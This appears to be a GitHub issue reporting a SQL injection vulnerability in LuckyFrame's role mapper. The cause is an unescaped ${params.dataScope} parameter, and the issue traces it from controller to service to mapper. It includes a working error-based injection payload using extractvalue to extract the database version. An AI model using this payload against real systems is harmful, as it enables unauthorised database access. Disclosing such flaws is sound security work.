Skip to content

sql inject 1  #22

@novysodope

Description

@novysodope

src/main/resources/mybatis/system/RoleMapper.xml

There is a ${} in this mapper

<if test="deptId != null and deptId != 0">
			AND (u.dept_id = #{deptId} OR u.dept_id IN ( SELECT t.dept_id FROM sys_dept t WHERE FIND_IN_SET (#{deptId},ancestors) ))
		</if>
		<!-- 数据范围过滤 -->
		${params.dataScope}
	</select>
	

Search selectUserList to see where the this select id is used:

image

Query user information:
src/main/java/com/luckyframe/project/system/role/controller/RoleController.java

image

Follow up the selectUserList method to see the specific implementation:

src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java

image

The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated

image

Verification:

Splice URL and parameters according to code:

params[dataScope]=

Use error injection to query the database version:

params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))

image

Select database name:

image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions